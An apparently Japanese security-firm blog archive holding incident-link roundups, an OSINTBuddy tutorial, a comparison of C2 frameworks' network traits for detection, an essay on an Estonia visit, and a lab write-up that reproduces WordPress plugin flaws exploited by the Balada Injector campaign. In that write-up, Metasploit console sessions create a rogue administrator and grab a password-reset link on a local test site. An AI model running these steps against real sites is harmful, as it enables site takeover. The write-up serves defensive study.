特定期間に発生したインシデントとその報道されたニュースとかのリンクをまとめたもの16

このブログは別の場所でSOCにも携わっている経験のある株式会社Armorisのseanが、本人の興味範囲に基づいて収集したサイバーセキュリティ関連の出来事をまとめたものです。 各出来事に関するコメントは個人の意見です。

サイバー世界情勢

地域的なサイバーセキュリティの話題。サイバー攻撃の話題の場合は、攻撃を受けた側の地域別に分類。地域分けが間違っていたらご容赦ください。

アジア

10/2

10/4

10/5

10/6

10/10

10/13

10/19

10/20

北米

10/10

10/13

ヨーロッパ

10/2

10/18

10/20

中東

10/10

10/11

10/18

10/20

オセアニア

アフリカ

10/13

10/5

脆弱性関連

10/2

10/4

10/6

10/12

10/13

10/18

10/19

10/20

分析手法、ツール関連

10/4

解析・分析・研究記事

10/2

10/3

10/4

10/12

10/13

10/20

マルウェア

10/3

10/5

10/10

10/13

10/19

フィッシング

10/2

10/4

10/20

APT

10/2

10/6

ランサムウェア

複数のランサムウェアを使う攻撃が出てきているようですね。

10/2

10/3

10/4

10/5

10/6

10/10

10/19

10/20

悪意あるNPMパッケージ

10/6

Botnet

10/5

10/10

10/12

10/13

DDoS

HTTP/2Rapid Resetの影響で記事が増えましたね。

10/3

10/5

10/11

マルバダイジング

オープンリダイレクト

RAT

10/6

インフォスティーラー

10/19

ダークウェブ

10/10

10/18

イーサハイディング

10/18

テイクダウン

レポート・まとめ

10/3

10/10

  • 「破産手続き開始」企業サイトの“改ざん被害”各地で相次ぐ 背景に「恒心教」の可能性も…実在する弁護士の名前が記載

10/13

10/18

10/19

  • IT admins are just as culpable for weak password use

10/20

官公庁・組織・団体公表

CISA

10/20

NSA and CISA

NISC

10/2

警察庁

10/2

システム・セキュリティ業界の動向

Google(Android)

10/4

10/18

Microsoft

10/11

Python

10/5

業界別インシデント

可能な限り業種を調べて分類していますが、間違い等ありましたらご容赦ください。

金融・保険

10/3

10/10

暗号資産

10/18

製造

10/12

情報

10/3

10/6

通信

10/6

教育

教育業界は記事が多いですね。カシオ計算機株式会社のインシデントの影響が出ているようです。

10/3

10/12

  • 「MHJストア」への不正アクセスによる個人情報漏えいに関するお詫びとお知らせ(株式会社マウンハーフジャパン)

10/20

医療・医薬・ヘルス

10/10

小売、卸売

10/13

電気機器

10/5

10/6

10/10

10/19

出版

10/10

ゲーム

10/20

10/13

エネルギー

10/19

官公庁・公的機関

10/10

協会

10/2

独立行政法人

運輸

10/5

10/11

10/12

宿泊

Booking.comのインシデント影響が続いていますね。

10/3

10/10

非営利団体関連

10/4

不明

業種がわからなかった企業を記事をここにまとめます。

10/13

AI関連

10/13

啓蒙・教育・人材関連

10/4

気になった記事

10/6

10/10

10/11

10/18

10/20

OSINTBuddyで調査する(使い方編)

このブログは、株式会社ArmorisアルバイトのShaderoが書いています。

あるもりすぶろぐの内容は個人の意見です。


はじめに

今回は、OSINTBuddyというオープンソースで開発されているOSINTツールを紹介します。 OSINTツールとして有名なMaltegoとの比較を行いながら、OSINTBuddyのインストール方法、使い方なども紹介します。

追記:実践編を公開しました。よろしければご覧ください。

OSINTBuddyの主要な機能

OSINTBuddyとは、2021年から開発が開始されたオープンソースのOSINTツールです。 2023年10月時点では主に以下の機能が実装されています。

Project graphs

OSINTの要である、情報収集を視覚的に行える機能です。 Project graphs内でEntityを配置したりTransformを実行することで情報収集を行います。この機能によって情報収集を楽に行うことができます。

Plugin

OSINTBuddyには、様々な機能をユーザが自由に追加できるPluginという仕組みが用意されています。 この仕組みによって、EntityやTransformを自由に追加することができます。

Maltegoとの比較

次に、OSINTツールとして有名なMaltego(COMMUNITY・PRO)とOSINTBuddyと比べてみます。 比較項目は主に、価格や商用利用の可否、機能面についてです。

項目 Maltego COMMUNITY Maltego PRO OSINTBuddy
価格 無料 999 EUR / 年 無料
商用利用 不可
1回のTransformで出力できる結果の数 12 64,000 無制限
グラフに表示できるEntityの数 10,000 1,000,000 無制限
標準で搭載されているTransformの数 150+ 150+ 10
EntityやTransformの自作 可(アルファ版)

両者を比較してみると、OSINTBuddyのメリットは、全ての機能を無料で自由に使える点にあることが分かります。Maltegoは、Transform1回あたりに出力できる結果の数や、グラフに表示できるEntityの数などに制限がありますが、OSINTBuddyでは無制限です。

また、OSINTBuddyは無料で商用利用ができる点も大きなメリットです。Maltegoの場合は、商用利用を行いたい場合は年999 EUR(約16万円)を支払いPROプランを契約する必要がありますが、OSINTBuddyは無料で商用利用ができます。

一方でOSINTBuddyのデメリットは、用意されているTransformの数が少ない点です。そのため実際にOSINTBuddyを使用する場合は、Transformの自作を求められる場面が多いと思われます。またPluginと呼ばれるEntityやTransformを自由に作成できる機能はありますが、この機能はアルファ版であり、APIに破壊的変更が発生する可能性がある旨がドキュメントに記載されています。

使ってみる

それでは、上記で紹介したOSINTBuddyのインストール方法や使い方を紹介します。 今回は、OSINTBuddyのインストールしたのちに、試しに弊社のホームページGoogleの検索結果を表示させてみます。

環境

今回の検証で用いる環境は以下の通りです。 基本的にOSINTBuddyはサーバ側で動作させ、クライアント側からアクセスする形で使います。

また、予め3000ポートと8000ポートをクライアント側にフォワーディングしています。

ssh username@serverIP -L 3000:localhost:3000 -L 8000:localhost:8000

サーバ

Name Value
OS Ubuntu 22.04
OSINTBuddy v0.0.4
Docker 20.10.21

クライアント

Name Value
OS Windows 11
Browser Firefox 118.0.2

1. インストール&起動

まず始めにOSINTBuddyをインストールします。これはサーバ側で行います。

OSINTBuddyのリポジトリをクローンします。

git clone --recurse-submodules https://github.com/jerlendds/osintbuddy.git

次に、Docker composeを用いてOSINTBuddyを起動します。

cd osintbuddy
cp ./.env.example ./.env
docker compose up -d

起動が完了したら、クライアント側でhttp://localhost:3000にアクセスします。 アクセスできたら、OSINTBuddyのインストールは完了です。

janusが落ちる場合

docker ps -aを実行してみると、janusが落ちている場合があります。これが落ちていると後述するEntityの配置に失敗します。

その場合は、しばらく待った後にjanusを再起動させると直ります。

docker compose restart janus

2. プロジェクト作成

OSINTBuddyが起動できたら、プロジェクトを作成します。

Loginボタンを押して、ダッシュボードのようなページに移動します。

次に、右上のCreate projectボタンを押し、必要な情報を入力してプロジェクトを作成します。

プロジェクトを作成できたら、Investigateボタンを押して、作成したプロジェクトのグラフを表示させます。

3. Entityの配置~Transformの実行

プロジェクトを作成できたら、次にEntityを配置します。 今回は試しに、弊社のホームページGoogleの検索結果を表示させてみます。

まず、画面左側にあるEntitiesから、Websiteをドラッグしてグラフに配置します。 そして、Website内のDomain欄にwww.armoris.jpを入力します。

入力ができたら、Websiteを右クリックしてTo Googleをクリックします。 Googleの検索結果を表示させることができたら成功です。

さいごに

今回は、OSINTBuddyというオープンソースで開発されているOSINTツールを紹介しました。 OSINTBuddyはまだ開発が始まったばかりで機能が少なく、実際のOSINT調査に使うのは少し難しいと思われますが、Maltegoと異なり全ての機能を無料で使うことができるため今後の開発に期待したいです。

追記:実践編を公開しました。よろしければご覧ください。

特定期間に発生したインシデントとその報道されたニュースとかのリンクをまとめたもの15

このブログは別の場所でSOCにも携わっている経験のある株式会社Armorisのseanが、本人の興味範囲に基づいて収集したサイバーセキュリティ関連の出来事をまとめたものです。 各出来事に関するコメントは個人の意見です。

サイバー世界情勢

前回までは攻撃側の所属で分類を試みましたが、不明な場合も多く、次回以降は攻撃を受けた側で地域別に分類してみたいと思います。

日本

9/6

9/28

アジア

9/2

9/11

9/12

9/13

9/14

9/19

9/20

9/25

9/28

北米

9/8

9/20

中南米

9/12

ヨーロッパ

9/2

9/5

9/6

9/7

9/8

9/15

9/19

9/25

中東

9/12

9/13

9/19

9/20

9/25

 

オセアニア

9/11

アフリカ

9/1

9/13

攻撃手法関連

Lockbit

9/4

9/6

ランサムウェア

9/4

9/6

9/14

9/19

9/20

9/21

 

9/28

トロイの木馬

9/26

マルウェア

9/7

9/25

9/28

DDoS

9/19

9/12

9/11

フィッシング

9/1

9/7

9/11

IoT

9/7

ブルートフォース

9/21

偽のPoCコード

9/21

暗号通貨

9/19

BEC

9/26

ディープフェイク

9/28

Bluetooth

9/7

窃取情報の悪用

9/7

WiKI-Eve攻撃

脆弱性関連

9/4

9/5

9/12

9/13

9/14

9/15

9/19

9/20

9/28

分析手法、ツール関連

9/2

9/26

 

9/29

解析・分析・研究記事

9/2

9/4

9/5

9/7

9/8

9/12

9/13

9/14

9/15

9/19

9/20

9/21

9/25

9/28

9/29

ダークウェブ

9/8

9/20

Storm-0558

9/7

9/8

レポート・まとめ

9/2

9/5

9/7

9/8

9/12

9/13

9/14

9/20

9/21

9/26

6/29

官公庁・組織・団体公表

CISA

9/11

NIST

9/19

NCSC,NCA

9/14

NISC

9/26

9/29

IPA

9/4

OT

9/1

9/7

インシデント個別

業界別インシデント

業種分類表などを用いて分類を試みていますが、間違い等ありましたらご容赦ください。

暗号資産

9/2

製造

9/5

9/6

9/28

自動車

9/19

情報通信

9/2

9/4

9/7

9/8

9/11

9/19

9/25

9/29

教育

9/2

9/4

 

9/5

9/7

9/12

9/25

医療・医薬・ヘルス

9/4

9/7

9/11

9/12

9/13

9/25

飲食

9/4

小売、卸売

9/13

9/19

電気機器

9/14

9/15

9/26

エネルギー

9/2

9/19

官公庁

9/4

9/12

9/20

9/25

運送

9/19

建設

9/5

娯楽

9/6

9/12

9/15

9/19

非営利団体関連

9/6

セキュリティ

9/26

SBOM関連

9/26

啓蒙・教育・人材関連

9/15

9/20

9/25

  • 脚光を浴びる「プラス・セキュリティ人材」--求められる理由とは

    • セキュリティ以外の仕事をしていた人がセキュリティの知識を身に付けた人材と言うことなんでしょうかね。詳しく読めていませんが、そういうタイプの人材は必要だと思いますね。

    • https://japan.zdnet.com/article/35209032/

サプライチェーン関連

9/7

気になった記事

9/4

9/5

9/12

9/20

9/26

C2フレームワークの比較・検証

このブログは、最近AWSと格闘しているアルバイトのseigo2016が書いています。 あるもりすぶろぐの内容は個人の意見です。

はじめに

検証には自身で管理する環境を使用し、自己責任でお願いします。また、この情報を悪用することは絶対に行わないでください。

今回はペネトレーションテスト等で用いられる各種C2フレームワーク6種について、ネットワーク特徴等を中心に検証および比較を行ってみました。フレームワークの検証は有名なものを中心に取り扱っています。

概要

項目比較

C2フレームワーク 検証時の最新バージョン 開発言語(Server) 開発言語(Agent) ライセンス Payloadの対応OS UI 対応プロトコル URL
Metasploit 6.3.29 Ruby C/Java/PHP/Python BSD Windows/macOS/Linux(TCP) / Windows(HTTPS) CLI TCP/HTTP/SMB GitHub / HP
DeimosC2 v1.1(beta) Go Go MIT Windows/macOS/Linux Web TCP/HTTPS/DNS over HTTPS/QUIC/Pivot over TCP GitHub
Empire v5.5.4 Python/PowerShell PowerShell Python C# BSD-3-Clause License Windows/macOS/Linux CLI/Web HTTP/S GitHub / Wiki
Merlin 1.5.1 Go Go GPL-3.0 Windows/macOS/Linux CLI HTTP/2/3/ GitHub / Docs
Sliver 1.5.41 Go Go GPL-3.0 Windows/macOS/Linux CLI HTTP/S/DNS GitHub / Wiki
Covenant v0.6 C#(.NET Core) C#(.NET Core) GPL-3.0 Windows Web HTTP/SMB GitHub / Wiki

WireSharkによるC2通信の確認

環境

それぞれのフレームワークを用いて、Kali上にC2サーバーを構築しました。 また、LAN内のWindows上に対応するAgentを設置し、起動しました。

その後、AgentがC2サーバーと通信し、サーバーからAgentにnetstatコマンドを送信し、結果を表示するところまでの通信をWiresharkでキャプチャ・確認しました。

その調査結果を以下にまとめました。

C2サーバーとAgentの通信の特徴

プロキシ
C2フレームワーク 使用プロトコル Proxy対応 備考
Metasploit HTTPS 対応
DeimosC2 HTTPS 非対応 現状の検証の範囲では対応していなかった。
Empire HTTP 対応 デフォルトでシステムのプロキシ設定を利用。オプションで指定も可能。
Merlin HTTP 対応 HTTP/1.1での通信時に対応。Agent作成時に-proxyオプションで指定可能。
Sliver HTTP 対応 Windows/macOS/Linuxシステムプロキシを自動検出する。
Covenant HTTP 対応 Windowsシステムプロキシを自動検出する。
接続先 
C2フレームワーク 使用プロトコル エンドポイント エンドポイントの変更
Metasploit HTTPS - 不可
DeimosC2 HTTPS /login /index /settings /profile
Empire HTTP GET /admin/get.php GET /login/process.php GET /news.php POST /admin/get.php POST /login/process.php
Merlin HTTP POST /
Sliver HTTP POST /sign-up.php
Covenant HTTP GET /en-us/test.html?message=&v=1 POST /en-us/docs.html?type=55317a8198&v=1
ユーザーエージェント
C2フレームワーク Raw UserAgent UserAgent UserAgentの変更
Metasploit Mozilla/5.0 (Macintosh; Intel Mac OS X 13.1; rv:108.0) Gecko/20100101 Firefox/108.0 Firefox 108 on macOS (Ventura)
DeimosC2 なし - -
Empire Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Internet Explorer 11 on Windows 7
Merlin Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36 Chrome 40 on Windows 7
Sliver Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.2399.821 Safari/537.36 Chrome 102 on Windows 10
Covenant Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36 Chrome 41 on Windows 7 不可

最後に

各C2フレームワーク毎にプロキシ使用する機能の有無や通信先の特徴があることがわかりました。
Web UIで簡単に操作ができるC2フレームワークであっても、User-AgentやProxy、URL等のカスタマイズは可能であることに驚きました。 そのため、攻撃に使用された際は、変更可能であることを考慮して、他の特徴等も確認の上調査をする必要があります。

特定期間に発生したインシデントとその報道されたニュースとかのリンクをまとめたもの14

このブログは別の場所でSOCにも携わっている経験のある株式会社Armorisのseanが、本人の興味範囲に基づいて収集したサイバーセキュリティ関連の出来事をまとめたものです。
各出来事に関するコメントは個人の意見です。

サイバー世界情勢

全体

7/13

日本

7/3

7/5

7/25

7/26

アジア

7/4

7/5

7/14

7/19

7/25

 

7/26

7/31

北米

7/10

7/14

7/19

7/24

中南米

7/5

7/11

ヨーロッパ

7/3

7/5

7/11

7/12

 

7/13

7/14

7/18

7/25

7/27

7/28

中東

7/3

7/10

アフリカ

7/3

7/4

攻撃手法関連

マルウェア全般

7/3

7/10

7/18

 

7/31

Emotet

7/7

BlackLotus

7/14

LokiBot

7/18

Lockbit

7/24

ランサムウェア

7/3

7/4

7/6

 

7/13

7/19

7/21

7/25

7/28

7/31

DDoS

7/5

7/11

7/31

フィッシング

7/4

7/5

7/14

7/19

セッションハイジャック

7/7

偽のPoCコード

暗号通貨

7/6

BEC

7/18

ディープフェイク

7/11

解析・分析・研究記事

7/4

7/5

7/7

7/10

 

7/12

7/13

7/14

7/18

 

7/24

 

7/27

7/28

 

脆弱性関連

7/3

7/4

7/7

 

7/11

7/13

 

7/14

7/18

7/19

7/27

レポート・まとめ

7/13

7/25

ツール関連

7/10

  • OSINT Tool 'Illicit Services' Shuts Down Amidst Exploitation Concerns

官公庁・組織・団体

CISA

7/3

7/7

7/18

NIST

NISC

7/14

金融庁

7/3

経済産業省

7/7

インシデント関連

逮捕・訴訟関連

7/3

7/10

7/11

7/12

7/18

 

情報漏えい報告(可能性含む)

7/3

7/4

7/6

 

7/10

7/11

7/12

7/14

7/19

7/21

7/24

7/25

7/26

7/27

不正アクセス報告(可能性含む)

7/3

7/6

7/12

7/18

7/19

7/21

7/31

インシデント調査結果報告

7/5

7/14

7/18

7/20

注意喚起

7/5

7/11

 

7/18

7/14

7/21

7/27

注意事項

7/18

再発防止策

7/6

7/14

インシデント個別

名古屋港関連

7/3

7/6

 

7/7

7/11

7/13

7/27

業界別インシデント

金融業界関連

7/11

7/12

産業系関連

7/7

7/14

教育業界関連

7/31

医療業界関連

7/18

飲料業界関連

7/11

化粧品業界

7/24

ゲーム業界関連関連

7/31

AI関連

7/3

7/14

7/31

啓蒙・教育・人材関連

7/10

7/25

7/27

7/28

7/31

ダークウェブ関連

7/12

7/25

サプライチェーン関連

7/4

7/5

7/12

気になった記事

7/3

7/5

7/19

7/27

エストニア訪問記――サイバーセキュリティは誰の問題か

 Armorisでいろんな案件にたずさわる川崎(筆者)です。

 2023年6月末、とある案件で、弊社CTO鎌田と筆者は北ヨーロッパエストニアのタリンを訪れました。現地では、エストニアのサイバーセキュリティの権威であり、Armorisの協力メンバーでもあるレイン・オッティス(Rain Ottis)や、NATOサイバー防衛センターのシニアフェローを歴任し、重要インフラ分野にサイバーセキュリティの権威でもあるヤーン・プリッサル(Jaan Priisalu)と、サイバーセキュリティを維持・向上させるためにはどのような方策があるのか議論しました。ここでは、彼らとの議論を通じて得られた重要な論点をまとめます。

必要なのは、ビジネスプロセスへの影響を検討する視点

 サイバーセキュリティを考える際に重要な視点について、とある企業の製造工場を例に考えてみましょう。

 工場に対するサイバー攻撃があったとき、それがIT・システムそのものを標的にしたものであれば、影響範囲はその(IT・システム)周辺にとどめられる可能性があります。例えば、工場の業務用ウェブサイトがDDoS攻撃(サービス妨害攻撃)によってダウンしたとします。これはもちろん迷惑極まりないことですが、事前に定められた事業継続計画に沿って製造を進めている場合、生産現場はそのまま活動を続けることができるかもしれません。そうしているうちにいずれDDoS攻撃は終わります。サイバー攻撃によるダメージがウェブサイトのダウンだけに抑えることができれば、工場の主要なビジネス・プロセスにまで重大な支障をきたすことはないでしょう。

 しかし、攻撃者の狙いが、主要なビジネス・プロセスを制御するコンピューターを危険にさらすことだったとしたらどうでしょう? つまり工場が操業不能になるような攻撃や、顧客の資産を侵害するような攻撃が成功すれば、その企業の事業や財務に深刻な影響を及ぼすでしょう。もしかしたら、企業の評判や市場価値にも暗い影を落とすかもしれません。最悪の場合、製品の品質が損なわれ、消費者を危険にさらすおそれもあります。さらに踏み込んでいえば、市場におけるその企業の競争優位性がサイバー攻撃によって中長期的に損なわれるといったことすら考えられるのです。

サイバーセキュリティは、IT・システム担当者だけの問題ではない

 このように、短期的かつ限られた範囲へのサイバー攻撃というのは、多くの企業にとって、十分に耐えられる範囲の出来事かもしれません。しかし、ビジネス・プロセスそのものが侵害される深刻なサイバー攻撃が起きたとき――その時に企業はどう対応するのか、その準備はできているのか、どうやって準備すればよいのか――こうしたことを考え、対応を実行することが大切になります。より具体的には、IT・システム担当者やサイバーセキュリティ担当者はもちろん、生産ラインや事業部の管理者、工場で働く技術者がインシデント管理に携わることが不可欠です。

 また、経営者は、法執行機関や政府、公的機関、サプライヤー、自社製品を利用する顧客企業、そして一般市民とコミュニケーションを取る必要もあるでしょう。サイバーセキュリティは単独で存在するものではありません。単にIT担当者やサイバーセキュリティ担当者の問題ではなく、組織を構成する全員が主体的に取り組むべき、とも言えます。

自組織を振り返る機会の必要性

 我が国においても、サイバーセキュリティは企業の経営の問題だと指摘されて久しいですが、IT・システムやリスク管理の問題にとどまらず、中長期的な市場競争力の観点からサイバーセキュリティを考えるということも必要になるでしょう。

 地政学的なリスクをはじめ、さまざまな不確実性が高まるなかで、自組織のサイバーセキュリティに対する姿勢の確認など、いまいちど考えてみることも大切かもしれません。また、今回ブログでお伝えしたような、国の枠を越えた知見に触れることも非常に有効な手段になると思います。

 このブログの内容が、皆様の参考になれば幸いです。

2023/8/24(木)追記: レインさんが、9月27日(水)LIVE型オンライン講座「欧州サイバーセキュリティ事情」を開催します。 欧州サイバーセキュリティのトレンドをLIVEで解説。受講生も参加できる双方向講座。逐次通訳付きです。 ご参加お待ちしております! https://prtimes.jp/main/html/rd/p/000000002.000123521.html

WordPressマルウェアキャンペーン「Balada Injector」が悪用する脆弱性の検証

このブログは、応用数理と仲良くなれないアルバイトのseigo2016が書いています。 あるもりすぶろぐの内容は個人の意見です。

はじめに

検証には自身で管理する環境を使用し、自己責任でお願いします。また、この情報を悪用することは絶対に行わないでください。

今回は「Balada Injector」と呼ばれるマルウェアが悪用しているWordPressプラグイン脆弱性についての検証を行います。

概要

「Balada Injector」は、WordPressサイトを標的とした大規模なサイバー攻撃のキャンペーンに使用されているマルウェアです。
このキャンペーンは2017年より展開されており、100万を超えるWordPress Webサイトが感染したと推定されています*1
このマルウェアは、WordPressプラグインやテーマに存在する様々な脆弱性を悪用してサイトを侵害します。
その後、管理者ユーザーを生成するほか、バックドアを残すとされています。

マルウェアに悪用されている脆弱性が存在するWordPressプラグインは以下のとおりです。

  • WP Live Chat Support Plugin
  • WordPress – Yuzo Related Posts
  • Yellow Pencil Visual Theme Customizer Plugin
  • WP GDPR Compliance Plugin
  • Newspaper Theme on WordPress Access Control
  • Thim Core
  • Google Code Inserter
  • Total Donations Plugin
  • Post Custom Templates Lite
  • WP Quick Booking Manager
  • Faceboor Live Chat by Zotabox
  • Blog Designer WordPress Plugin
  • WordPress Ultimate FAQ
  • WP-Matomo Integration (WP-Piwik)
  • WordPress ND Shortcodes For Visual Composer
  • Coming Soon Page and Maintenance Mode
  • Hybrid
  • Brizy WordPress Plugin
  • FV Flowplayer Video Player
  • WooCommerce
  • WordPress theme OneTone
  • Simple Fields WordPress Plugin
  • WordPress Delucks SEO plugin
  • Poll, Survey, Form & Quiz Maker by OpinionStage
  • Social Metrics Tracker
  • WPeMatico RSS Feed Fetcher
  • Rich Reviews plugin
  • Newspaper and other old tagDiv Themes
  • Education WP (Eduma)
  • Social Warfare
  • Easy WP SMTP
  • Elementor Pro

導入できたプラグイン & 脆弱性概要一覧

今回は、現在も該当バージョンがダウンロードできる下記のプラグインのうち、Balada Injector が悪用する脆弱性のなかでも、アカウントの乗っ取りや権限昇格が可能なEasy WP SMTPとWP GDPR Compliance PluginをMetasploitを用いて検証します。

プラグイン バージョン CVE 概要 参考URL
Blog Designer WordPress Plugin < 3.3 CVE-2022-4792
Brizy WordPress Plugin <2.3.12 CVE-2021-38346 認証済みユーザーがAjax actionを利用して、任意の場所に実行可能ファイルをアップロードできる https://nvd.nist.gov/vuln/detail/CVE-2021-38346
Easy WP SMTP < 1.4.2 プラグインフォルダにindex.htmlが含まれておらず、ディレクトリのリストを取得できる可能性がある。デバッグモードが有効な場合、アカウントのパスワードリセットをリクエストしたあと、デバッグファイルを表示してリンクを特定し、パスワードをリセットできる https://www.rapid7.com/db/modules/auxiliary/scanner/http/wp_easy_wp_smtp/
WordPress ND Shortcodes For Visual Composer 5.8 CVE-2019-15771 未認証のユーザーが権限昇格によって設定を変更したり、アカウントを乗っ取ることが可能
Poll, Survey, Form & Quiz Maker by OpinionStage <= 19.6.25 未ログインのユーザーによるXSS脆弱性が存在 https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-poll-survey-form-quiz-maker-by-opinionstage-cross-site-scripting-19-6-24/
WordPress Ultimate FAQ <1.8.24 CVE-2019-17232/CVE-2019-17233 未認証のユーザーがEWD_UFAQ_Import_From_Spreadsheet関数を通して投稿をインポートし、新しい投稿を作成できる https://blog.nintechnet.com/unauthenticated-options-import-vulnerability-in-wordpress-ultimate-faq-plugin/
WP GDPR Compliance Plugin <1.4.2 CVE-2018-19207 update_option関数で権限確認をしておらず、WordPressの設定を外部からログインなしに変更でき、特権昇格などに繋がる https://blog.tokumaru.org/2018/12/wp-gdpr-compliance-cve-2018-19207.html
Coming Soon Page and Maintenance Mode < 2.4.5 CVE-2022-1576 subscribed users listを空にする際のCSRFトークンが無いため、ログインしている管理者にCSRF攻撃が可能 https://wpscan.com/vulnerability/68deab46-1c16-46ae-a912-a104958ca4cf
WP-Matomo Integration (WP-Piwik) <= 1.0.4 CVE-2015-9405 XSS脆弱性が存在
WPeMatico RSS Feed Fetcher 2.6.12 CVE-2021-24793 追加されたFeed URLを適切にエスケープしないため、高い権限を持つユーザーによるXSS脆弱性が存在 https://wpscan.com/vulnerability/eeedbb3b-ae10-4472-a1d3-f196f95b9d96
WP Live Chat Support Plugin <8.0.27 CVE-2019-14950 GDPRページを通じたXSS脆弱性が存在 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24793

Metasploitによる検証

Metasploitとは、OSSペネトレーションテストを行うためのソフトウェアです。
今回は、既存の攻撃モジュールのscanner/http/wordpress_scannerauxiliary/scanner/http/wp_easy_wp_smtp及びauxiliary/admin/http/wp_gdpr_compliance_privesを利用して検証します。

Metasploitの起動

今回は、WSL2のKaliLinuxでMetasploitを起動しています。
実行すると、コマンド入力画面が表示されます。

└─$ ./msfconsole

               .;lxO0KXXXK0Oxl:.
           ,o0WMMMMMMMMMMMMMMMMMMKd,
        'xNMMMMMMMMMMMMMMMMMMMMMMMMMWx,
      :KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK:
    .KMMMMMMMMMMMMMMMWNNNWMMMMMMMMMMMMMMMX,
   lWMMMMMMMMMMMXd:..     ..;dKMMMMMMMMMMMMo
  xMMMMMMMMMMWd.               .oNMMMMMMMMMMk
 oMMMMMMMMMMx.                    dMMMMMMMMMMx
.WMMMMMMMMM:                       :MMMMMMMMMM,
xMMMMMMMMMo                         lMMMMMMMMMO
NMMMMMMMMW                    ,cccccoMMMMMMMMMWlccccc;
MMMMMMMMMX                     ;KMMMMMMMMMMMMMMMMMMX:
NMMMMMMMMW.                      ;KMMMMMMMMMMMMMMX:
xMMMMMMMMMd                        ,0MMMMMMMMMMK;
.WMMMMMMMMMc                         'OMMMMMM0,
 lMMMMMMMMMMk.                         .kMMO'
  dMMMMMMMMMMWd'                         ..
   cWMMMMMMMMMMMNxc'.                ##########
    .0MMMMMMMMMMMMMMMMWc            #+#    #+#
      ;0MMMMMMMMMMMMMMMo.          +:+
        .dNMMMMMMMMMMMMo          +#++:++#+
           'oOWMMMMMMMMo                +:+
               .,cdkO0K;        :+:    :+:
                                :::::::+:
                      Metasploit

       =[ metasploit v6.3.15-dev-601d9cef96               ]
+ -- --=[ 2311 exploits - 1206 auxiliary - 412 post       ]
+ -- --=[ 972 payloads - 46 encoders - 11 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: You can pivot connections over sessions
started with the ssh_login modules
Metasploit Documentation: https://docs.metasploit.com/

msf6 >

scanner/http/wordpress_scanner

まず、Auxiliaryモジュールのscanner/http/wordpress_scannerを利用します。 これは、Metasploitにモジュールがある脆弱性を持つテーマやプラグインをスキャンし、情報を収集するのためのモジュールです。

ホストとポートを指定した後、実行します。

msf6 > use scanner/http/wordpress_scanner
msf6 auxiliary(scanner/http/wordpress_scanner) > set rhosts localhost
rhosts => localhost
msf6 auxiliary(scanner/http/wordpress_scanner) > set rport 8000
rport => 8000
msf6 auxiliary(scanner/http/wordpress_scanner) > exploit

[*] Trying 127.0.0.1
[+] 127.0.0.1 - Detected Wordpress 5.4
[*] 127.0.0.1 - Enumerating Themes
[*] 127.0.0.1 - Progress  0/2 (0.0%)
[*] 127.0.0.1 - Finished scanning themes
[*] 127.0.0.1 - Enumerating plugins
[*] 127.0.0.1 - Progress   0/59 (0.0%)
[+] 127.0.0.1 - Detected plugin: wp-gdpr-compliance version 1.4.2
[+] 127.0.0.1 - Detected plugin: easy-wp-smtp version 1.4.1
[*] 127.0.0.1 - Finished scanning plugins
[*] 127.0.0.1 - Searching Users
[*] 127.0.0.1 - Was not able to identify users on site using /wp-json/wp/v2/users
[*] 127.0.0.1 - Finished all scans
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

wp-gdpr-complianceeasy-wp-smtpが検知されました。

auxiliary/admin/http/wp_gdpr_compliance_privesc

では、次にwp_gdpr_compliance_privescの攻撃モジュールを使用して、WP GDPR Compliance Pluginの検証を行います。
WP GDPR Compliance Pluginの1.4.2以下のバージョンは、プラグインのアクションが呼び出されたときに権限確認を行わないため、WordPressの設定を外部からログインなしに変更でき、特権昇格などに繋がる脆弱性が存在します。
このモジュールは、新規ユーザーを登録し、デフォルトの役割を管理者に変更します。 ホスト名とポート、登録する新規ユーザーのメールアドレスと指定した後、実行します。

msf6 auxiliary(admin/http/wp_gdpr_compliance_privesc) > set email test@example.com
email => test@example.com
msf6 auxiliary(admin/http/wp_gdpr_compliance_privesc) > check
[*] 127.0.0.1:8000 - The target appears to be vulnerable.
msf6 auxiliary(admin/http/wp_gdpr_compliance_privesc) > exploit
[*] Running module against 127.0.0.1

[*] Getting security token from host...
[!] Enabling user registrations...
[!] Setting the default user role type to administrator...
[*] Registering msfuser with email test@example.com
[*] Auxiliary module execution completed

完了後にアカウント欄を確認すると、指定したメールアドレスの管理者アカウントが作成されていることがわかります。

auxiliary/scanner/http/wp_easy_wp_smtp

続いて、auxiliary/scanner/http/wp_easy_wp_smtpモジュールを用いてEasy WP SMTPプラグインの検証を行います。  

Easy WP SMTPプラグインの1.4.2より古いバージョンでは、プラグインフォルダにindex.htmlが含まれておらず、ディレクトリのリストを取得できます。
Easy WP SMTPデバッグモードが有効な場合、攻撃者はアカウントのパスワードリセットをリクエストした後、デバッグファイルを表示してリンクを特定し、パスワードをリセットできます。

このモジュールは、アカウントのパスワードリセットをリクエストし、デバッグファイル内のリセットリンクを出力します。
ホスト名・ポートと、リセットを掛けるユーザー名を指定し、実行します。

msf6 auxiliary(admin/http/wp_gdpr_compliance_privesc) > use scanner/http/wp_easy_wp_smtp
msf6 auxiliary(scanner/http/wp_easy_wp_smtp) > set user admin
user => admin
msf6 auxiliary(scanner/http/wp_easy_wp_smtp) > exploit

[+] Vulnerable version of Easy WP SMTP detected
[*] Checking for debug_log file
[+] Found debug log: /wp-content/plugins/easy-wp-smtp/6482ea6514aff_debug_log.txt
[*] Sending password reset for admin
[+] Debug log saved to /home/****/.msf4/loot/20230609202045_default_127.0.0.1_6482ea6514aff_de_123999.txt.  Manual review for possible SMTP password, and other information.
[*] Finished enumerating resets.  Last one most likely to succeed
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

表示されたデバッグログのファイルを確認すると、取得したリセットリンクが表示されます。

対策

セキュリティ対策プラグインや設定の追記によって攻撃の防止や緩和が可能です。

セキュリティ対策プラグインの利用

